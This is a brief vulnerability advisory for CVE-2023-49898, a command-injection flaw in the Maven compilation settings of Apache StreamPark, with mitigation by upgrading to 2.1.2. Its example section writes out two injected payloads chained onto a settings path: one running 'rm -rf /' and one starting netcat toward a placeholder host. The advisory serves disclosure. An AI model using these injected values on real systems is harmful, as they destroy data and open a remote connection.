CVE-2023-49898 Information

Description

In streampark there is a project module that integrates Maven’s compilation capability. However there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally only users of that system have the authorization to log in and users would not manually input a dangerous operation command. Therefore the risk level of this vulnerability is very low.

Mitigation:

all users should upgrade to 2.1.2

Example:

You can customize the splicing method according to the compilation situation of the project mvn compilation results use && compilation failure use ||\ or &&:

/usr/share/java/maven-3/conf/settings.xml || rm -rf /

/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

Reference

https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3